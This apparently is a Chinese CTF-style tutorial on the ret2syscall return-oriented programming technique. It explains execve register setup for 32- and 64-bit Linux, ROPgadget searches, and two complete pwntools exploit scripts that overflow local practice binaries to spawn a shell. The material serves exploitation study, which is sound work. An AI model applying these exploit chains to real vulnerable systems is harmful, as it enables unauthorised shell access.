stackoverflow之ret2syscall

ret2syscall

ret2syscall,基本ROP之一,控制程序执行系统调用,获取shell。

1、系统调用

为方便调用内核,Linux将内核功能接口制作为系统调用(system call),其类似C语言中的函数,可在程序中直接调用。

image-20191204145943871

2、32&64&shell

系统调用号查询:

1
2
/usr/include/x86_64-linux-gnu/asm/unistd_32.h
/usr/include/x86_64-linux-gnu/asm/unistd_64.h

系统调用下的shell:

1
execve("/bin/sh",NULL,NULL)

参考:系统调用和系统中断

3、ROP gadgets

将获取shell的系统调用参数放到对应寄存器中,通过控制寄存器值,部署寄存器流,一段段控制,最后再调用系统中断,即可获取shell。

32位binary下的shell:

1
2
3
4
5
eax:0xb
ebx:bin_sh_addr
ecx:0
edx:0
int 0x80

64位binary下的shell:

1
2
3
4
5
6
rax:59
rdi:bin_sh_addr
rsi:0
rdx:0
rcx:0
syscall

4、条件

一般利用到ret2syscall的binary都在静态编译下。

1
 gcc demo.c ‐o demo ‐static 

example_32

1、checksec

image-20191204195918596

2、IDA:

image-20191204201827166

溢出空间=0x64+4+4+4=112。

image-20191204201917137

binary中含有字符串/bin/sh

3、ROP gadgets

eax:

1
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

image-20191204200344081

others:

1
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

image-20191204200706122

bin_sh:

1
ROPgadget --binary rop --string '/bin/sh'

image-20191204200926780

int 0x80:

1
ROPgadget --binary rop --only 'int'

image-20191204201215810

4、exploit

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./rop')
offset=112
eax_addr=0x080bb196
edx_ecx_ebx_addr=0x0806eb90
binsh_addr=0x80be408
int0x80_addr=0x08049421
payload=flat(['\x90'*offset,eax_addr,0xb,edx_ecx_ebx_addr,0,0,binsh_addr,int0x80_addr])
p.sendline(payload)
p.interactive()

image-20191204203004664

example_64

1、checksec

image-20191205003500266

64位的binary,所有保护机制都关闭了。

2、IDA

image-20191205003653590

溢出空间=0x10+8。

image-20191205003809525

存在/bin/sh

3、ROP gadgets

eax_rdx_ebx:0x0000000000478826

1
ROPgadget --binary demo --only 'pop|ret' | grep 'rax'

image-20191205004356330

rdi:0x00000000004015f6

1
ROPgadget --binary demo --only 'pop|ret' | grep 'rdi'

image-20191205005131821

rsi:0x0000000000401717

1
ROPgadget --binary demo --only 'pop|ret' | grep 'rsi'

image-20191205005258254

binsh_addr:0x00000000004a1344

1
ROPgadget --binary demo --string '/bin/sh'

image-20191205005344304

syscall:0x0000000000467655

1
ROPgadget --binary demo | grep 'syscall'

image-20191205010126359

4、exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.arch = 'amd64'
offset = 0x10+8
eax_rdx_ebx_addr=0x0000000000478826
rdi_addr=0x00000000004015f6
rsi_addr=0x0000000000401717
binsh_addr=0x00000000004a1344
syscall_addr=0x0000000000467655
p=process('./demo')
payload=flat(['\x90'*offset,rdi_addr,binsh_addr,eax_rdx_ebx_addr,59,0,0,rsi_addr,0,syscall_addr])
p.sendline(payload)
p.interactive()

image-20191205011005081

pwn

image-20191205012426944

reference

github-ctf-wiki